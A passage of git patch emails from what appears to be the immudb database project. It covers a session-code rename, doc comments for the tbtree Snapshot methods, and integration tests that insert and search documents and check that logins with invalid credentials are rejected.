io.Reader object for the specified searchID - val, err := s.paginatedDocumentReaders.Get(searchID) + val, err := s.documentReaders.Get(searchID) if err != nil { return ErrPaginatedDocumentReaderNotFound } @@ -294,6 +292,6 @@ func (s *Session) UpdatePaginatedDocumentReader(searchID string, lastPage uint32 return nil } -func (s *Session) GetPaginatedDocumentReadersCount() int { - return s.paginatedDocumentReaders.EntriesCount() +func (s *Session) GetDocumentReadersCount() int { + return s.documentReaders.EntriesCount() } diff --git a/pkg/server/sessions/session_test.go b/pkg/server/sessions/session_test.go index 977c5af3d8..f1e502b92f 100644 --- a/pkg/server/sessions/session_test.go +++ b/pkg/server/sessions/session_test.go @@ -29,7 +29,7 @@ import ( ) func TestNewSession(t *testing.T) { - sess := NewSession("sessID", &auth.User{}, nil, 0, logger.NewSimpleLogger("test", stdos.Stdout)) + sess := NewSession("sessID", &auth.User{}, nil, logger.NewSimpleLogger("test", stdos.Stdout)) require.NotNil(t, sess) require.Less(t, sess.GetCreationTime(), time.Now()) require.Less(t, sess.GetLastActivityTime(), time.Now()) From a8e60198fc56b64f90b8e7130b8a2dabed1422f9 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 23 May 2023 07:26:59 +0530 Subject: [PATCH 0573/1062] doc: add documentation to tbtree snapshot --- embedded/tbtree/snapshot.go | 93 +++++++++++++++++++++++++++++++++++++ 1 file changed, 93 insertions(+) diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index 0c937e7b05..dc9686c92f 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -29,6 +29,11 @@ const ( LeafNodeType ) +// Snapshot implements a snapshot on top of a B-tree data structure. +// It provides methods for storing and retrieving key-value pairs. +// The snapshot maintains a consistent view of the underlying data structure. +// It uses a lock to ensure concurrent access safety. +// Snapshot represents a consistent view of a B-tree data structure. type Snapshot struct { t *TBtree id uint64 @@ -43,21 +48,31 @@ type Snapshot struct { mutex sync.RWMutex } +// Set inserts a key-value pair into the snapshot. +// It locks the snapshot, performs the insertion, and updates the root node if necessary. +// The method handles splitting of nodes to maintain the B-tree structure. +// It returns an error if the insertion fails. +// Example usage: +// err := snapshot.Set([]byte("key"), []byte("value")) func (s *Snapshot) Set(key, value []byte) error { + // Acquire a write lock on the snapshot s.mutex.Lock() defer s.mutex.Unlock() + // Create copies of the key and value to ensure immutability k := make([]byte, len(key)) copy(k, key) v := make([]byte, len(value)) copy(v, value) + // Insert the key-value pair into the root node nodes, depth, err := s.root.insert([]*KVT{{K: k, V: v, T: s.ts}}) if err != nil { return err } + // Split nodes to maintain the B-tree structure for len(nodes) > 1 { newRoot := &innerNode{ t: s.t, @@ -74,70 +89,106 @@ func (s *Snapshot) Set(key, value []byte) error { } } + // Update the root node s.root = nodes[0] + // Update B-tree depth metric metricsBtreeDepth.WithLabelValues(s.t.path).Set(float64(depth)) return nil } +// Get retrieves the value associated with the given key from the snapshot. +// It locks the snapshot for reading, and delegates the retrieval to the root node. +// The method returns the value, timestamp, hash count, and an error. +// Example usage: +// value, timestamp, hashCount, err := snapshot.Get([]byte("key")) func (s *Snapshot) Get(key []byte) (value []byte, ts uint64, hc uint64, err error) { + // Acquire a read lock on the snapshot s.mutex.RLock() defer s.mutex.RUnlock() + // Check if the snapshot is closed if s.closed { return nil, 0, 0, ErrAlreadyClosed } + // Check if the key argument is nil if key == nil { return nil, 0, 0, ErrIllegalArguments } + // Delegate the retrieval to the root node v, ts, hc, err := s.root.get(key) return cp(v), ts, hc, err } +// History retrieves the history of a key in the snapshot. +// It locks the snapshot for reading, and delegates the history retrieval to the root node. +// The method returns an array of timestamps, the hash count, and an error. +// Example usage: +// timestamps, hashCount, err := snapshot.History([]byte("key"), 0, true, 10) func (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) (tss []uint64, hCount uint64, err error) { + // Acquire a read lock on the snapshot s.mutex.RLock() defer s.mutex.RUnlock() + // Check if the snapshot is closed if s.closed { return nil, 0, ErrAlreadyClosed } + // Check if the key argument is nil if key == nil { return nil, 0, ErrIllegalArguments } + // Check if the limit argument is less than 1 if limit < 1 { return nil, 0, ErrIllegalArguments } + // Delegate the history retrieval to the root node return s.root.history(key, offset, descOrder, limit) } +// Ts returns the timestamp associated with the root node of the snapshot. +// It locks the snapshot for reading and returns the timestamp. +// Example usage: +// timestamp := snapshot.Ts() func (s *Snapshot) Ts() uint64 { + // Acquire a read lock on the snapshot s.mutex.RLock() defer s.mutex.RUnlock() return s.root.ts() } +// GetWithPrefix retrieves the key-value pair with a specific prefix from the snapshot. +// It locks the snapshot for reading, and delegates the retrieval to the root node. +// The method returns the key, value, timestamp, hash count, and an error. +// Example usage: +// key, value, timestamp, hashCount, err := snapshot.GetWithPrefix([]byte("prefix"), []byte("neq")) func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, ts uint64, hc uint64, err error) { + // Acquire a read lock on the snapshot s.mutex.RLock() defer s.mutex.RUnlock() + // Check if the snapshot is closed if s.closed { return nil, nil, 0, 0, ErrAlreadyClosed } + // Find the leaf node containing the key-value pair _, leaf, off, err := s.root.findLeafNode(prefix, nil, 0, neq, false) if err != nil { return nil, nil, 0, 0, err } + // Retrieve the leaf value at the specified offset leafValue := leaf.values[off] + // Check if the prefix matches the leaf key if len(prefix) > len(leafValue.key) { return nil, nil, 0, 0, ErrKeyNotFound } @@ -149,25 +200,39 @@ func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value [ return nil, nil, 0, 0, ErrKeyNotFound } +// NewHistoryReader creates a new history reader for the snapshot. +// It locks the snapshot for reading and creates a new history reader based on the given specification. +// The method returns the history reader and an error if the creation fails. +// Example usage: +// reader, err := snapshot.NewHistoryReader(&HistoryReaderSpec{Key: []byte("key"), Limit: 10}) func (s *Snapshot) NewHistoryReader(spec *HistoryReaderSpec) (*HistoryReader, error) { + // Acquire a read lock on the snapshot s.mutex.RLock() defer s.mutex.RUnlock() + // Check if the snapshot is closed if s.closed { return nil, ErrAlreadyClosed } + // Create a new history reader with the given specification reader, err := newHistoryReader(s.maxReaderID, s, spec) if err != nil { return nil, err } + // Store the reader in the snapshot's readers map s.readers[reader.id] = reader s.maxReaderID++ return reader, nil } +// NewReader creates a new reader for the snapshot. +// It locks the snapshot for writing and creates a new reader based on the given specification. +// The method returns the reader and an error if the creation fails. +// Example usage: +// reader, err := snapshot.NewReader(ReaderSpec{Prefix: []byte("prefix"), DescOrder: true}) func (s *Snapshot) NewReader(spec ReaderSpec) (r *Reader, err error) { s.mutex.Lock() defer s.mutex.Unlock() @@ -215,6 +280,7 @@ func (s *Snapshot) NewReader(spec ReaderSpec) (r *Reader, err error) { } } + // Create a new reader with the given specification r = &Reader{ snapshot: s, id: s.maxReaderID, @@ -234,6 +300,9 @@ func (s *Snapshot) NewReader(spec ReaderSpec) (r *Reader, err error) { return r, nil } +// closedReader removes a closed reader from the snapshot's readers map. +// It locks the snapshot for writing and removes the reader with the specified ID. +// The method returns an error if the removal fails. func (s *Snapshot) closedReader(id int) error { s.mutex.Lock() defer s.mutex.Unlock() @@ -242,6 +311,11 @@ func (s *Snapshot) closedReader(id int) error { return nil } +// Close closes the snapshot and releases any associated resources. +// It locks the snapshot for writing, checks if there are any active readers, and marks the snapshot as closed. +// The method returns an error if there are active readers. +// Example usage: +// err := snapshot.Close() func (s *Snapshot) Close() error { s.mutex.Lock() defer s.mutex.Unlock() @@ -264,6 +338,25 @@ func (s *Snapshot) Close() error { return nil } +// WriteTo writes the snapshot to the specified writers. +// It locks the snapshot for writing, performs the write operation on the root node, +// and returns the root offset, minimum offset, number of bytes written to nw and hw, +// and an error if any. +// +// Parameters: +// - nw: The writer to write the snapshot's nodes. +// - hw: The writer to write the snapshot's history. +// - writeOpts: The options for the write operation. +// +// Returns: +// - rootOffset: The offset of the root node in the written data. +// - minOffset: The minimum offset of all written nodes. +// - wN: The number of bytes written to nw. +// - wH: The number of bytes written to hw. +// - err: An error if the write operation fails or the arguments are invalid. +// +// Example usage: +// rootOffset, minOffset, wN, wH, err := snapshot.WriteTo(nw, hw, &WriteOpts{}) func (s *Snapshot) WriteTo(nw, hw io.Writer, writeOpts *WriteOpts) (rootOffset, minOffset int64, wN, wH int64, err error) { if nw == nil || writeOpts == nil { return 0, 0, 0, 0, ErrIllegalArguments From 47decc409f8c6166a0a930ec0a6c2bacc6da4a76 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Tue, 9 May 2023 13:46:03 -0300 Subject: [PATCH 0574/1062] test(documents): add test to insert a document Signed-off-by: Marco Sanchotene --- .../actions/insert_documents.go | 70 +++++++++++++++++++ .../actions/search_documents.go | 36 ++++++++++ .../documents_tests/insert_documents_test.go | 61 ++++++++++++++++ 3 files changed, 167 insertions(+) create mode 100644 test/document_storage_tests/documents_tests/actions/insert_documents.go create mode 100644 test/document_storage_tests/documents_tests/actions/search_documents.go create mode 100644 test/document_storage_tests/documents_tests/insert_documents_test.go diff --git a/test/document_storage_tests/documents_tests/actions/insert_documents.go b/test/document_storage_tests/documents_tests/actions/insert_documents.go new file mode 100644 index 0000000000..0c82ebc421 --- /dev/null +++ b/test/document_storage_tests/documents_tests/actions/insert_documents.go @@ -0,0 +1,70 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package actions + +import ( + "fmt" + "net/http" + "reflect" + + "github.com/gavv/httpexpect/v2" +) + +func InsertOneDocumentWithMultipleFields(expect *httpexpect.Expect, sessionID string, collection *httpexpect.Object, document map[string]interface{}) *httpexpect.Object { + collectionName := collection.Value("collection").Object().Value("name").String().Raw() + + payload := map[string]interface{}{ + "documents": []interface{}{ + document, + }, + } + + keys := reflect.ValueOf(document).MapKeys() + field := keys[1].String() + value := document[keys[1].String()] + + return insertDocuments(expect, sessionID, collectionName, payload, field, value) +} + +func insertDocuments(expect *httpexpect.Expect, sessionID string, collectionName string, payload map[string]interface{}, field string, value interface{}) *httpexpect.Object { + expect.POST(fmt.Sprintf("/collection/%s/documents", collectionName)). + WithHeader("grpc-metadata-sessionid", sessionID). + WithJSON(payload). + Expect(). + Status(http.StatusOK).JSON().Object().NotEmpty(). + Keys().ContainsOnly("transactionId", "documentIds") + + searchPayload := map[string]interface{}{ + "query": map[string]interface{}{ + "expressions": []interface{}{ + map[string]interface{}{ + "fieldComparisons": []interface{}{ + map[string]interface{}{ + "field": field, + "operator": "EQ", + "value": value, + }, + }, + }, + }, + }, + "page": 1, + "pageSize": 1, + } + + return SearchDocuments(expect, sessionID, collectionName, searchPayload) +} diff --git a/test/document_storage_tests/documents_tests/actions/search_documents.go b/test/document_storage_tests/documents_tests/actions/search_documents.go new file mode 100644 index 0000000000..3afd44d150 --- /dev/null +++ b/test/document_storage_tests/documents_tests/actions/search_documents.go @@ -0,0 +1,36 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package actions + +import ( + "fmt" + "net/http" + + "github.com/gavv/httpexpect/v2" +) + +func SearchDocuments(expect *httpexpect.Expect, sessionID string, collectionName string, payload map[string]interface{}) *httpexpect.Object { + document := expect.POST(fmt.Sprintf("/collection/%s/documents/search", collectionName)). + WithHeader("grpc-metadata-sessionid", sessionID). + WithJSON(payload). + Expect(). + Status(http.StatusOK).JSON().Object(). + Value("revisions").Array().First(). + Object().Value("document").Object() + + return document +} diff --git a/test/document_storage_tests/documents_tests/insert_documents_test.go b/test/document_storage_tests/documents_tests/insert_documents_test.go new file mode 100644 index 0000000000..d02450e128 --- /dev/null +++ b/test/document_storage_tests/documents_tests/insert_documents_test.go @@ -0,0 +1,61 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package main + +import ( + "testing" + + "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions" + "github.com/gavv/httpexpect/v2" + "github.com/google/uuid" + "github.com/stretchr/testify/suite" +) + +type InsertDocumentsTestSuite struct { + suite.Suite + expect *httpexpect.Expect + sessionID string + collection *httpexpect.Object +} + +func (s *InsertDocumentsTestSuite) SetupTest() { + s.expect, s.sessionID = actions.OpenSession(s.T()) + s.collection = actions.CreateCollectionWithNameAndMultipleFields(s.expect, s.sessionID, uuid.New().String()) +} + +func (s *InsertDocumentsTestSuite) TestInsertOneDocumentWithMultipleFields() { + document := map[string]interface{}{ + "birth_date": "1964-06-02", + "first_name": "Bezalel", + "last_name": "Simmel", + "gender": "F", + "hire_date": "1985-11-21", + } + + documentFound := actions.InsertOneDocumentWithMultipleFields(s.expect, s.sessionID, s.collection, document) + + documentFound.Keys().ContainsOnly("_id", "birth_date", "first_name", "last_name", "gender", "hire_date") + documentFound.Value("birth_date").IsEqual(document["birth_date"]) + documentFound.Value("first_name").IsEqual(document["first_name"]) + documentFound.Value("last_name").IsEqual(document["last_name"]) + documentFound.Value("gender").IsEqual(document["gender"]) + documentFound.Value("hire_date").IsEqual(document["hire_date"]) +} + +func TestInsertDocumentsSuite(t *testing.T) { + suite.Run(t, new(InsertDocumentsTestSuite)) +} From 41e8b5636d07db5ad0d7564cbb0f659b6fe5aa35 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Mon, 22 May 2023 13:56:19 -0300 Subject: [PATCH 0575/1062] test(documents): move test data to action function Signed-off-by: Marco Sanchotene --- .../actions/insert_documents.go | 17 +++++++++------- .../documents_tests/insert_documents_test.go | 20 ++++++------------- 2 files changed, 16 insertions(+), 21 deletions(-) diff --git a/test/document_storage_tests/documents_tests/actions/insert_documents.go b/test/document_storage_tests/documents_tests/actions/insert_documents.go index 0c82ebc421..8d6cf3f2c3 100644 --- a/test/document_storage_tests/documents_tests/actions/insert_documents.go +++ b/test/document_storage_tests/documents_tests/actions/insert_documents.go @@ -19,25 +19,28 @@ package actions import ( "fmt" "net/http" - "reflect" "github.com/gavv/httpexpect/v2" ) -func InsertOneDocumentWithMultipleFields(expect *httpexpect.Expect, sessionID string, collection *httpexpect.Object, document map[string]interface{}) *httpexpect.Object { +func InsertOneDocumentWithMultipleFields(expect *httpexpect.Expect, sessionID string, collection *httpexpect.Object) *httpexpect.Object { collectionName := collection.Value("collection").Object().Value("name").String().Raw() + document := map[string]interface{}{ + "birth_date": "1964-06-02", + "first_name": "Bezalel", + "last_name": "Simmel", + "gender": "F", + "hire_date": "1985-11-21", + } + payload := map[string]interface{}{ "documents": []interface{}{ document, }, } - keys := reflect.ValueOf(document).MapKeys() - field := keys[1].String() - value := document[keys[1].String()] - - return insertDocuments(expect, sessionID, collectionName, payload, field, value) + return insertDocuments(expect, sessionID, collectionName, payload, "first_name", "Bezalel") } func insertDocuments(expect *httpexpect.Expect, sessionID string, collectionName string, payload map[string]interface{}, field string, value interface{}) *httpexpect.Object { diff --git a/test/document_storage_tests/documents_tests/insert_documents_test.go b/test/document_storage_tests/documents_tests/insert_documents_test.go index d02450e128..3afac9e66e 100644 --- a/test/document_storage_tests/documents_tests/insert_documents_test.go +++ b/test/document_storage_tests/documents_tests/insert_documents_test.go @@ -38,22 +38,14 @@ func (s *InsertDocumentsTestSuite) SetupTest() { } func (s *InsertDocumentsTestSuite) TestInsertOneDocumentWithMultipleFields() { - document := map[string]interface{}{ - "birth_date": "1964-06-02", - "first_name": "Bezalel", - "last_name": "Simmel", - "gender": "F", - "hire_date": "1985-11-21", - } - - documentFound := actions.InsertOneDocumentWithMultipleFields(s.expect, s.sessionID, s.collection, document) + documentFound := actions.InsertOneDocumentWithMultipleFields(s.expect, s.sessionID, s.collection) documentFound.Keys().ContainsOnly("_id", "birth_date", "first_name", "last_name", "gender", "hire_date") - documentFound.Value("birth_date").IsEqual(document["birth_date"]) - documentFound.Value("first_name").IsEqual(document["first_name"]) - documentFound.Value("last_name").IsEqual(document["last_name"]) - documentFound.Value("gender").IsEqual(document["gender"]) - documentFound.Value("hire_date").IsEqual(document["hire_date"]) + documentFound.Value("birth_date").IsEqual("1964-06-02") + documentFound.Value("first_name").IsEqual("Bezalel") + documentFound.Value("last_name").IsEqual("Simmel") + documentFound.Value("gender").IsEqual("F") + documentFound.Value("hire_date").IsEqual("1985-11-21") } func TestInsertDocumentsSuite(t *testing.T) { From affdb7f23b6e6a02e8ff00b1290b34f276b210d7 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Wed, 24 May 2023 16:26:33 -0300 Subject: [PATCH 0576/1062] test(documents): use types for documents and payloads Signed-off-by: Marco Sanchotene --- .../actions/insert_documents.go | 41 +++++------------ .../actions/search_documents.go | 14 +++++- .../documents_tests/insert_documents_test.go | 25 ++++++++--- .../documents_tests/models/documents.go | 25 +++++++++++ .../documents_tests/models/search.go | 45 +++++++++++++++++++ 5 files changed, 113 insertions(+), 37 deletions(-) create mode 100644 test/document_storage_tests/documents_tests/models/documents.go create mode 100644 test/document_storage_tests/documents_tests/models/search.go diff --git a/test/document_storage_tests/documents_tests/actions/insert_documents.go b/test/document_storage_tests/documents_tests/actions/insert_documents.go index 8d6cf3f2c3..260cdcedd5 100644 --- a/test/document_storage_tests/documents_tests/actions/insert_documents.go +++ b/test/document_storage_tests/documents_tests/actions/insert_documents.go @@ -20,18 +20,19 @@ import ( "fmt" "net/http" + "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" "github.com/gavv/httpexpect/v2" ) -func InsertOneDocumentWithMultipleFields(expect *httpexpect.Expect, sessionID string, collection *httpexpect.Object) *httpexpect.Object { +func InsertOneDocumentWithMultipleFields(expect *httpexpect.Expect, sessionID string, collection *httpexpect.Object) models.Employee { collectionName := collection.Value("collection").Object().Value("name").String().Raw() - document := map[string]interface{}{ - "birth_date": "1964-06-02", - "first_name": "Bezalel", - "last_name": "Simmel", - "gender": "F", - "hire_date": "1985-11-21", + document := models.Employee{ + BirthDate: "1964-06-02", + FirstName: "Bezalel", + LastName: "Simmel", + Gender: "F", + HireDate: "1985-11-21", } payload := map[string]interface{}{ @@ -40,34 +41,16 @@ func InsertOneDocumentWithMultipleFields(expect *httpexpect.Expect, sessionID st }, } - return insertDocuments(expect, sessionID, collectionName, payload, "first_name", "Bezalel") + insertDocuments(expect, sessionID, collectionName, payload, "first_name", document.FirstName) + + return document } -func insertDocuments(expect *httpexpect.Expect, sessionID string, collectionName string, payload map[string]interface{}, field string, value interface{}) *httpexpect.Object { +func insertDocuments(expect *httpexpect.Expect, sessionID string, collectionName string, payload map[string]interface{}, field string, value interface{}) { expect.POST(fmt.Sprintf("/collection/%s/documents", collectionName)). WithHeader("grpc-metadata-sessionid", sessionID). WithJSON(payload). Expect(). Status(http.StatusOK).JSON().Object().NotEmpty(). Keys().ContainsOnly("transactionId", "documentIds") - - searchPayload := map[string]interface{}{ - "query": map[string]interface{}{ - "expressions": []interface{}{ - map[string]interface{}{ - "fieldComparisons": []interface{}{ - map[string]interface{}{ - "field": field, - "operator": "EQ", - "value": value, - }, - }, - }, - }, - }, - "page": 1, - "pageSize": 1, - } - - return SearchDocuments(expect, sessionID, collectionName, searchPayload) } diff --git a/test/document_storage_tests/documents_tests/actions/search_documents.go b/test/document_storage_tests/documents_tests/actions/search_documents.go index 3afd44d150..4a97dc81db 100644 --- a/test/document_storage_tests/documents_tests/actions/search_documents.go +++ b/test/document_storage_tests/documents_tests/actions/search_documents.go @@ -20,11 +20,21 @@ import ( "fmt" "net/http" + "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" "github.com/gavv/httpexpect/v2" ) -func SearchDocuments(expect *httpexpect.Expect, sessionID string, collectionName string, payload map[string]interface{}) *httpexpect.Object { - document := expect.POST(fmt.Sprintf("/collection/%s/documents/search", collectionName)). +func SearchDocuments(expect *httpexpect.Expect, sessionID string, collection *httpexpect.Object, fieldComparison models.FieldComparison) *httpexpect.Object { + fieldComparisons := []models.FieldComparison{fieldComparison} + expressions := models.Expressions{FieldComparisons: fieldComparisons} + query := models.Query{Expressions: []models.Expressions{expressions}} + payload := models.SearchPayload{ + Query: query, + Page: 1, + PageSize: 1, + } + + document := expect.POST(fmt.Sprintf("/collection/%s/documents/search", collection.Value("collection").Object().Value("name").String().Raw())). WithHeader("grpc-metadata-sessionid", sessionID). WithJSON(payload). Expect(). diff --git a/test/document_storage_tests/documents_tests/insert_documents_test.go b/test/document_storage_tests/documents_tests/insert_documents_test.go index 3afac9e66e..e798099f14 100644 --- a/test/document_storage_tests/documents_tests/insert_documents_test.go +++ b/test/document_storage_tests/documents_tests/insert_documents_test.go @@ -20,8 +20,10 @@ import ( "testing" "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions" + "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" "github.com/gavv/httpexpect/v2" "github.com/google/uuid" + "github.com/stretchr/testify/assert" "github.com/stretchr/testify/suite" ) @@ -38,14 +40,25 @@ func (s *InsertDocumentsTestSuite) SetupTest() { } func (s *InsertDocumentsTestSuite) TestInsertOneDocumentWithMultipleFields() { - documentFound := actions.InsertOneDocumentWithMultipleFields(s.expect, s.sessionID, s.collection) + documentModel := actions.InsertOneDocumentWithMultipleFields(s.expect, s.sessionID, s.collection) + + fieldComparison := models.FieldComparison{} + fieldComparison.Field = "first_name" + fieldComparison.Operator = "EQ" + fieldComparison.Value = documentModel.FirstName + documentFound := actions.SearchDocuments(s.expect, s.sessionID, s.collection, fieldComparison) documentFound.Keys().ContainsOnly("_id", "birth_date", "first_name", "last_name", "gender", "hire_date") - documentFound.Value("birth_date").IsEqual("1964-06-02") - documentFound.Value("first_name").IsEqual("Bezalel") - documentFound.Value("last_name").IsEqual("Simmel") - documentFound.Value("gender").IsEqual("F") - documentFound.Value("hire_date").IsEqual("1985-11-21") + + var employee models.Employee + + documentFound.Decode(&employee) + + assert.Equal(s.T(), employee.BirthDate, "1964-06-02") + assert.Equal(s.T(), employee.FirstName, "Bezalel") + assert.Equal(s.T(), employee.LastName, "Simmel") + assert.Equal(s.T(), employee.Gender, "F") + assert.Equal(s.T(), employee.HireDate, "1985-11-21") } func TestInsertDocumentsSuite(t *testing.T) { diff --git a/test/document_storage_tests/documents_tests/models/documents.go b/test/document_storage_tests/documents_tests/models/documents.go new file mode 100644 index 0000000000..1ca1790fed --- /dev/null +++ b/test/document_storage_tests/documents_tests/models/documents.go @@ -0,0 +1,25 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package models + +type Employee struct { + BirthDate string `json:"birth_date"` + FirstName string `json:"first_name"` + LastName string `json:"last_name"` + Gender string `json:"gender"` + HireDate string `json:"hire_date"` +} diff --git a/test/document_storage_tests/documents_tests/models/search.go b/test/document_storage_tests/documents_tests/models/search.go new file mode 100644 index 0000000000..de7cd1cb93 --- /dev/null +++ b/test/document_storage_tests/documents_tests/models/search.go @@ -0,0 +1,45 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package models + +type SearchPayload struct { + Query Query `json:"query"` + Page int `json:"page"` + PageSize int `json:"pageSize"` + KeepOpen bool `json:"keepOpen"` +} + +type Query struct { + Expressions []Expressions `json:"expressions"` + OrderBy []OrderBy `json:"orderBy"` + Limit int `json:"limit"` +} + +type Expressions struct { + FieldComparisons []FieldComparison `json:"fieldComparisons"` +} + +type OrderBy struct { + Field string `json:"field"` + Desc bool `json:"desc"` +} + +type FieldComparison struct { + Field string `json:"field"` + Operator string `json:"operator"` + Value interface{} `json:"value"` +} From f3b108f5f21c03b5cf9236f7fb5a73145ee966b8 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Tue, 9 May 2023 16:04:29 -0300 Subject: [PATCH 0577/1062] test(documents): add negative tests for session Signed-off-by: Marco Sanchotene --- .../documents_tests/actions/session.go | 16 ++- .../documents_tests/models/user.go | 23 ++++ .../documents_tests/session_test.go | 122 ++++++++++++++++++ 3 files changed, 156 insertions(+), 5 deletions(-) create mode 100644 test/document_storage_tests/documents_tests/models/user.go create mode 100644 test/document_storage_tests/documents_tests/session_test.go diff --git a/test/document_storage_tests/documents_tests/actions/session.go b/test/document_storage_tests/documents_tests/actions/session.go index 45f8a97062..9d18dc92fe 100644 --- a/test/document_storage_tests/documents_tests/actions/session.go +++ b/test/document_storage_tests/documents_tests/actions/session.go @@ -25,11 +25,7 @@ import ( ) func OpenSession(t *testing.T) (*httpexpect.Expect, string) { - baseURL, exists := os.LookupEnv("OBJECTS_TEST_BASEURL") - - if !exists { - baseURL = "http://localhost:8091/api/v2" - } + baseURL := GetBaseUrl() user := map[string]interface{}{ "username": "immudb", @@ -45,3 +41,13 @@ func OpenSession(t *testing.T) (*httpexpect.Expect, string) { return expect, obj.Value("sessionID").Raw().(string) } + +func GetBaseUrl() string { + baseURL, exists := os.LookupEnv("OBJECTS_TEST_BASEURL") + + if !exists { + baseURL = "http://localhost:8091/api/v2" + } + + return baseURL +} diff --git a/test/document_storage_tests/documents_tests/models/user.go b/test/document_storage_tests/documents_tests/models/user.go new file mode 100644 index 0000000000..c824a17dc8 --- /dev/null +++ b/test/document_storage_tests/documents_tests/models/user.go @@ -0,0 +1,23 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package models + +type User struct { + Username string `json:"username"` + Password string `json:"password"` + Database string `json:"database"` +} diff --git a/test/document_storage_tests/documents_tests/session_test.go b/test/document_storage_tests/documents_tests/session_test.go new file mode 100644 index 0000000000..470abe53d1 --- /dev/null +++ b/test/document_storage_tests/documents_tests/session_test.go @@ -0,0 +1,122 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package main + +import ( + "net/http" + "testing" + + "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions" + "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" + "github.com/gavv/httpexpect/v2" + "github.com/stretchr/testify/suite" +) + +type SessionTestSuite struct { + suite.Suite + expect *httpexpect.Expect +} + +func (s *SessionTestSuite) TestOpenSessionWithInvalidUsername() { + baseURL := actions.GetBaseUrl() + + user := models.User{ + Username: "jon_snow", + Password: "immudb", + Database: "defaultdb", + } + + expect := httpexpect.Default(s.T(), baseURL) + response := expect.POST("/authorization/session/open"). + WithJSON(user). + Expect(). + Status(http.StatusInternalServerError).JSON().Object() + + response.Keys().ContainsOnly("code", "details", "error", "message") + response.Value("error").IsEqual("invalid user name or password") + response.Value("code").IsEqual(2) + response.Value("message").IsEqual("invalid user name or password") +} + +func (s *SessionTestSuite) TestOpenSessionWithInvalidPassword() { + baseURL := actions.GetBaseUrl() + + user := models.User{ + Username: "immudb", + Password: "know_n0thinG", + Database: "defaultdb", + } + + expect := httpexpect.Default(s.T(), baseURL) + response := expect.POST("/authorization/session/open"). + WithJSON(user). + Expect(). + Status(http.StatusInternalServerError).JSON().Object() + + response.Keys().ContainsOnly("code", "details", "error", "message") + response.Value("error").IsEqual("invalid user name or password") + response.Value("code").IsEqual(2) + response.Value("message").IsEqual("invalid user name or password") +} + +func (s *SessionTestSuite) TestOpenSessionWithInvalidCredentials() { + baseURL := actions.GetBaseUrl() + + user := models.User{ + Username: "jon_snow", + Password: "know_n0thinG", + Database: "defaultdb", + } + + expect := httpexpect.Default(s.T(), baseURL) + response := expect.POST("/authorization/session/open"). + WithJSON(user). + Expect(). + Status(http.StatusInternalServerError).JSON().Object() + + print(response) + 